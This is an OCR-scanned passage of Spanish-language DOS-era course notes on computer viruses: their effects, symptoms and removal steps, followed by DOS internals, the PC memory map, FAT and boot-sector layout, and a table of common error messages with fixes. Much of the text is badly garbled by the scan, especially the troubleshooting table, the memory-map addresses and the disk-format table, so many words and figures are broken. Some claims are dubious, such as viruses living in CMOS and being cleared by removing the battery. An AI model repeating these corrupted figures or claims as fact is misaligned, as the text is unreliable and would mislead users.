Virica sofisticadas. Envuelve completamente con operarios viricos todas lan funciones basicas
de una computadora. Intercepta y enmascara las acciones que de alguna forma podrian
revelar su existencia.




El virus es una amenaza potencial a la integridad del software de cualquier
computadora y su patrén de operacion es variado dependiendo del tipo de
virus. Los efectos que causan pueden ser:

Cambiar el nombre del volumen del disco
Marcar sectores datfiados en areas no usadas del disco disminuyendo paulatinamente su capacidad.
Interferir con la operacion de programas residentes en memoria RAM
Infectar al sistema operativo
Eventualmente cancelar el area de BOOT, FAT , DIRECTORY vy area de datos -
Provocar imagenes molestas en el monitor 6 enviar mensajes
Borrar programas y archivos

Bloquear bifers a manera de no permitir la entrada y salida de los datos en los discos parectendo
una falla de software

Daiiar fisicamente la computadora
Destruir directorios de discos
Ll;enar de basura la memoria de la computadora
Formatear disquetes y discos duros
Resetear la computadora
Redefinir teclas
Inutilizar ¢l teclado
Modificar la informacion en programas 6 archivos

Disminuir la velocidad de procesamiento de la computadora

13



d

d 4 4 J I

- SINTOMAS CON LOS QUE SE PUEDE SOSPECHAR LA
PRESENCIA DE UN VIRUS
La memoria RAM disminuye sin haber cargado algin programa

El disco realiza accesos o se enciende el led de la unidad sin existir
ninguna causa aparente

El sistema se vuelve muy lento al estar trabajando

Los programas cuando se ejecutan despliegan mensajes de error
extrafios

El S.0. despliega mensajes de error inesperados, tales como
INVALID DRIVE ESPECIFICATION

Los tamaiios de los archivos cambian sin motivo

El nimero de archivos en el directorio del disco cambia sin razén
El borrar, renombrar o copiar archivos toma mucho tiempo

El teclado imprime carécteres extrafios o de repente no trabaja

El sistema se pierde sin motivo




PASOS A SEGUIR CUANDO SE DETECTA LA PRESENCIA DE

1)

2)

3)

4)

5)

6)

7)

ALGUN VIRUS

Apague completamene la computadora, NO unicamente utilice
Ctrl-Alt-Del

Encienda de nuevo la computadora utilizando un disco de arranque
de DOS limpio. (Original)

En los discos flexibles o duros dafiados, si no tenia un respaldo no
infectado reciente y tiene necesidad de recuperar la informacion,
respalde todos los archivos de datos que no sean ejecutables en
otro disco flexible original formateado, que haya sido previamente
verificado como no infectado

Inserte el disco de proteccion, vacuna o erradicacion de virus y
hagalo trabajar

En caso necesario de formato al disco duro otra vez, desde €l nivel
mas bajo y después utilice los comandos de DOS: FDISK y
FORMAT

Restablezca los archivos de datos en el disco

Verifique todos los discos flexibles que tiene con el programa de
proteccion

1E]



Existen algunos virus que se almacenan en alguna parte de la memoria
conocida como CMOS, y que guardan informacién permanente
respaldados por una pila o bateria. Si a pesar de haber realizado los pasos
anteriores el virus permanece; entonces hay que destapar la maquina, quitar
la pila, esperar minimo una hora y volver a colocarla.

METODOS DE RASTREO
> Mapeo de Sectores
> Verificacion del tamafio de los programas ejecutables
> Busqueda de mensajes no comunes
> Uso de Scanners

> Uso de Comandos del DOS o utilerias




ESTRUCTURA INTERNA DEL DOS

EL BIOS (Basic Input Output System)

- La consola y el teclado (CON)
- Line Printer (PRN).

- Dispositivo auxiliar (AUX)

- Hora y tiempo (Clock)

- Dispositivo de Boot Disk

Es la Memoria ROM o Firmware

EL DOS KERNEL

- Manejador de archivos y registros
- Manejador de memonia

- Dispositivo de E/S de caracteres
- Acceso al tiempo real del sistema
- Creacion de otros programas

Para MS-DOS 10.SYS
MSDOS.SYS
IBM-DOS IBMIO.COM
IBMDOS.COM

EL PROCESADOR DE COMANDOS (SHELL)

Interfaz entre el sistema operativo y el usuario. Se divide en tres partes.
- Porcién Residente

- Secci6n de inicializacion

- Médulo Transitorio

En general, COMMAND.COM




continuacion...

DOS KERNEL




IBM-PC BOOT PROCESS

Execute IBMBIO.COM & IBMDOS.CO
| CONFIGURE per CONFIG.SYS

Execute COMMAND.COM
Execute AUTOEXEC.BAT

139



. MAPA DE MEMORIA DE UNA IBM-PC

ROM BIOS

FFFF-000FH (1 MB) )
F000:0000H

Top of RAM
A000:0000H

OTHER ROM & RAM
COMMAND.COM  (transient)
Free RAM  Aporx. 520K a S80K

-

COMMAND.COM  (resident)

[nstallable Device Drivers ‘

File Control Blocks

Disk Buffets

MS-DOS Tables
Resident Device Drivers

—_— MS-DOS Kernel (BMDOS.COM) |

MS-DOS BIOS (IBMBIO.COM) |

0000:0600H mommemnp>

0000:0400H
q

0000:0000H 3

ROM BIOS Tables

Interrupt Vectors




ORGANIZACION LOGICA DEL DISCO

Tabla de Particiones
Solo en Discos Duros

Area de BOOT
Lado 0, sector 0, pista 0 (512 bytes)

FAT (File Allocation Table)

Sectores 1 y 2, en 3 y 4 una copia.

(El namero de sectores utilizados depende de la capacidad del disco,
ej. uno de 40 MB ocupa 162 sectores, 81 para la tabla original y 81
para la copia; En uno de 102 MB, utiliza 400 sectores)

Area de ROOT (Directorio raiz)
Los sectores Sal 11

Area de Datos (DATA)
El resto del disco




El BPB (Bios Parameter Block)

Ocupa los primeros 32 bytes del area de BOOT, a excepcion de los formatos FE y FF,
que contiene los siguientes datos:

Offset Longitud Descripcién
3 8 bytes Identificacion del sistema OEM
11 1 word Bytes por sector .
13 1 byte Sectores por cluster
14 1 word Sectores reservados
16 1 byte Copias de la FAT: 2 por disco flexible .
17 lword . Entradas del directorio raiz
19 1 word Total de sectores en el disco
21 1 byte Identificador de formato
22 1 word Sectores por FAT
24 1 word Sectores por track o pista
26 1 word Lados o cabezas
28 1 word Sectores especiales




EL AREA DE DIRECTORIOS

El drea de directorios esta formada por espacios de 32 bytes que guardan los datos
generales de cada archivo en el directorio raiz. Para un archivo, los datos estan dados por:

Offset Descripcién Tamaiio (bytes) Formato
0 Nombre de archivo 8 Caracteres ASCII -
8 Extension del atnibuto 3 Caracteres ASCII
11 Atributo 1 Codificado bit
12 Reservado 10 No usado (ceros)
22 Tiempo 2 Codificado word
24 Fecha 2 Codificado word
26 Cluster inicial 2 Codificado word
28 Tamaiio de archivo 4 Long word

Para obtener la relacién de sectores fisicos a logicos:

Sector logico = ( sector fisico - 1 ) + lado x sectores por track
+ track x sectores por track x lados por disco

Sector fisico = 1 + sector l6gico MOD sectores por track

lado = ( sector logico/sectores por track ) MOD lados por disco
track = sector 16gico/( sectores por track x lados del disco )




FAT ( File Allocation Table )

ORGANIZADA POR UNA TABLA DE NUMEROS ENTRE 0H Y OFFFH

- Sector dispomble: 000H

- Sector reservado: FFOh y FF6H

- Sector dafiado: OFF7H ¢

- Ultimo registro del archivo: FF8H - FFFH

- Cualquier otro, es un registro intermedio




IDENTIFICADORES DE DISCO

Para identificar el tipo de formato que tienen los discos, se verifica el byte correspondiente al
primer elemento de la FAT o con el offset 21 en dreas de BOOT. Los diferentes formatos son:

SECTORES DE OVERHEAD

Formato Sectores  Boot FAT Directorio Capacidad nonimal -

FF 320 1 2 4 160 Kbytes
FF 640 1 2 7 320
FC 360 1 4 4 180
FD 720 1 4 7 360
F9 1440 1 10 7 720
F9 2400 1 14 14 - ° 1200
FO 2880 1 1440
Formato Lados Sectores Tracks -

FE 1 8 40

FF 2 8 40

FC 1 9 40

FD 2 9 40 .

F9 2 9 80

F9 2 1

5 0

Existe otro formato que es el empleado para discos duros y se identifica con F8. Dado que los
discos duros pueden ser de diferentes capacidades, estos datos se pueden localizar en el BPB
del area de BOOT.

T |-n\25



- COMANDOS DE DOS

ATTRIB
CHKDSK
DISKCOMP
FC
FDISK

FIND




[

RN

Problema <z

LR 2o e

Poslb!e falla /<" 27 4

FiERr Yyl % Probable.soluclén: jb &g

Accoso denegado
(Access denied)

Traté usted de reempiazar un archivo con atributo de sdlo
lectura, protegido contra escritura o prolegido en una red

Cambie el altnbute o desproleja el disco

i

Archiva no encontrado
{Fila not found)

Tecled usled mal el nombre dsl archivo, o no esla traba-
jando en el subdirectorio correspondienie

Teclee el nombre del archivo correctaments, 0 ubiquese en
el subdireclorio adecuado -

s

v

Tieno unc 0 mas
archivos borrados

Los apunladores (pointers) de la tabla de asignacidn da
archives (Filo Allocation Table, FAT) estan borrados o
alterados. Generalmenle, ¢sto sucede debido al desgaste
que ocasiona ol uso prolongado de un disquele por los
excesivos accesos do grabacion ¢ de lectura

No utilice de manera contintada =por vano:. anos- los
mismas disquetes. Cuando éstos se ponen muy viejos, se
doben usar para almacenar archivos muertos qo usted no
va a leer o consultar frecuenlemente

.
Disco detectuoso

Una de las 1ablas de asignacion de archivos en su disco
liene algun sector delectuoso

Copie lodos los archivos a otro disco. Utiice ! comando
CHKDSK/ para reparar al disco

Error do asignacién
de memaoria

No se cargd ol programa o procqsador_do comandos
COMMAND.COM - . '

Aawniclalice {reboot) la compuladora. Si no se soluciona,
haga una nueva copia del sislema operauvo DOS

Error de escritura (o

da grabacion) (Not

ready error reading
drive (X}}

El sistema operalivo DOS se ve imposibilitado de grabar en
la unidad de disco espacilicada '

" L.

Insérie corractamente el disquete en la unidad de disco.
Puede sar que al peshilo de la unidad de disco no asté
cerrado

o

Error en la impresora
(Printer error)

Puede sor que la Impresora esté Epagada. no tenga pa-
pel 0 no eslé en linea (on lino})

Corrija ¢l desperfeclo e intenle imprimir nusvarnenie

Falla generalizada
{General failure orror)

Ha ocurrido un error poco usual

’

Si la garanifa del equipo aun estd vigente, consulte a su
distribuidor, Generaimento este arror raquiere de la
atoncidn de algan pregramador o un lécnico e perlo, o do
un asesor en compulacion ‘

intento de violacién
de la proteccion
conlira ascrilura

(Wrlte protect error
writing drive (X))

El disco en el cual desea grabar la informacion esl4 prote-
gido conlra escritura -

_‘ S Problemassss

Memoria insuficiente

| (Mot Enough Memory)

No exlsle la suﬂclenle cantidad de memoria disponlble en
su compuladora para el programa qua intenta usted
sjecular

Quitele al disquete la lengiela de proteccion conira es-
critura ’ .

Desacllve aiguno de los programas resldantes n memoria
(Terminate and Stay Resident, TSR) que esté L lulzando y
reinicialice (Reboot) la compuladaora

No so carga el
sistoma oporalive on
la compuladora
{Non-DOS dlisk error)

Puado sor quo ol seclor do carga {bool soctor) do su discoy|
ostd dniada, o fomblén quo no hoya Insarlndo 1stod ol
disco de sisiema en la uridad de disco A

Intonie carraglr al dolocto dol disco con alglin programn <o
tltidnd comn por ojompln ol Nector do Disco Norton (Nor-
ton Dlsk Doctor, NDD) de Norlon Utllitles, en el olro ¢aso|.
Inserte sl disquete del slstema operativo en ia unidad A

Se le dificulla copiar
un archivo cualguiera
al subdirectorio
deseado {Invalid Path
or Fllenama)

Tal vez olvidd inclulr la via de acceso {path) al élréétorio do
dastino

Direcclone corractamante el destino de la copia incluysndo
la vla de acceso (path) en el comando

Pisla 0 defectuosa o
medio magnético no
vdlido, disco
inutilizable (Track ©

El comando FORMAT del sisterna operativo DOS tiene la
capacidad para deteclar cualquier sector daflado (bad
sector) y marcarlo como tal, excepto el sector §, el cual
slempre debe estar en buen estado, pues en él se aloja el
programa de carga (boot program}

El tnico remedio consisie en desechar el disquate

Rl

bad. Disk unusable)



1’7 Problema s

iy Paslble fallaiZai i G

El teclado se
encuenira
bloqueado y no
responde a ninguna
pulsacién

Si el tectado so blogquea repentinamente o al encender la
compuladora ésta presenta un mensaje de error, puede ser
que el problema sea un falso contacle ¢ que las conexiones
dal 1eclado oslén delecluosas

A R O T

Revise fas conexiones ¢ intente usar otro cable. S
scoluciona el problema, habra que limpiar el teclado, pues es
posibie que el polvo haya bloqueado la sefial

El teclado no
geincra ol caracter
asociado conla“ -
fecla que usled

Quizas el teclado esta conligurade para un modo diferente
de texto. Por ejemplo, st usted usa el teclado astdndar para
ol inglés do Estados Unidos, puede que esld configurade
con el comando KEYBSP {en espadiol}; por ello, al presionar
las leclas, en respuesia aparecen caracleres diferentes a

‘comando KEYBSP. Cercidrese de que el paguele o pro-

Verilique el tipo de taclado que tiene su computadora. Com-
pruebe el archivo AUTOEXEC.BAT para ver si contiene el

gfama que estd ajecutando no modifique la confliguracién
original del teclado. Consulte su manual de operasion

3i esto no

Is
pulsa los esperados
) Esle error puede ser causado por falla fisica en la memoria | Existan diversgs programas para el diagndstico da errores
Error de partdad convenciondl o RAM (Random Access Memory) del sistemna 0 de los periféricos de su compulador. Intente

(Parity error)

-técnico

detectar (a falla con alguno de ellos o solicite ayuda da un

Errorenia
operacién de los
programas o
paquetes
intagrados de
- seflware .

Este tipo do error es generalmente causado por el usuario y
produce diversos efectos. Eslos van desde la sobreescrl-
tura accidental de un archivo hasta la modificacidn de datos,
¢ Incluso la imposibilidad de acceder al dlsco 0 de mo-
dlhcarlos

-programas o paquetes Orlginalgs los cuales casi slernpre

La mejor solucién a esle problema es que utilicemnos sdlo

3o acompafian de manuales claramente explicados

Error en la unidad
de disguote

La cabeza de leclural grabacién de !a unidad de disquetas
puede estar muy sucia o desalinoada

Limple periddicamante las cabezas de lectura/grabacidn de
la{3) unidad(es) de disqueles. Realice un manienimiento
prevenlivo que incluya la alineacién de las cabezas de
tectura/grabacidén

Error en el disco fijo

Puede ser que algun movimienio brusco en su masa de tra-
baljo haya dafiado el disco fijo

Inlenta rescatar Ia informacién del sactor daftado usando al-
gun programa de ulilidades, y cépiela a olro seclor que se
encuentra en buan estado. Seguidamente marque sl sector

0 duro delectuoso para que no se grabe nuevamente informacién en
¢él —algunos programas de-utifldades haran eslo por usted—
e Problema -, ;v | Lkeor, o o POSIDIG 18I ;- e, i syioied v Probable soluclén iTosisn kg

Creacitn de varios
directorios con
gythivas iguales -

Por lo ganeral, este problema se doba a falta de culdado del
usuario al crear subdireclorios con nombre parecide

Veriltgue cudl es el directorig que le Inleresa y barre los
directorios que no deses tenar.en su compuladora

]

imposiblidad do
loor Ia informacion
" del disco fijo

Si la falla es fisica, pucde deberse a movimientos bruscos
ocurridos duranie la operacién de la computadora, Taenbién
os posible quo 6sta so haya golpeado al Irangporiar ol
oquipe sin antes haber ullizado ol comandy eskiclonar
{Park). Eslo hace que la cabeza de laclurajgrabaccén se
estrella (Crash) contra la supericie del disco y la dane

Pueade usted tralar de recuparar la Informacién con algin
programa de utllidades .

La.compttadora no
anciendo. La
panialla del monitor
indica que hay
corrlante eldclrica,
pero no hay sefiales.

Pusde ser que al lusible protector contra sobravollaje de la
compuladora o do la loma do corricnio so haya lundiclo.
También pudiera Sar que exisla algun falso conlacto entre 12
loma de corriente y el cable

Revise los fusibles o las conexiones a la linea de swininisiro
eléatrico. Revise su rogulador do vollajo, si lo tiocno

de aclividad
. . - i
La pantalla del Durante e curso de un praceso, el monitor falla y so queda | Revise cable y conaxiones .
monilor permaneco | en blanco. Puede que esté dafiado el coneclor o al cable -
én blanco - '

Se obsarva lexto
" @xtrano’en la
‘pantalia

Puede Iratarse de una falla del controlador de video

Compruebe las conexiones o \ferilique el controlador.de
video con un programa de diagndslico. Esle !e indicasd la

falta'y lo ayudaré a solucionaria




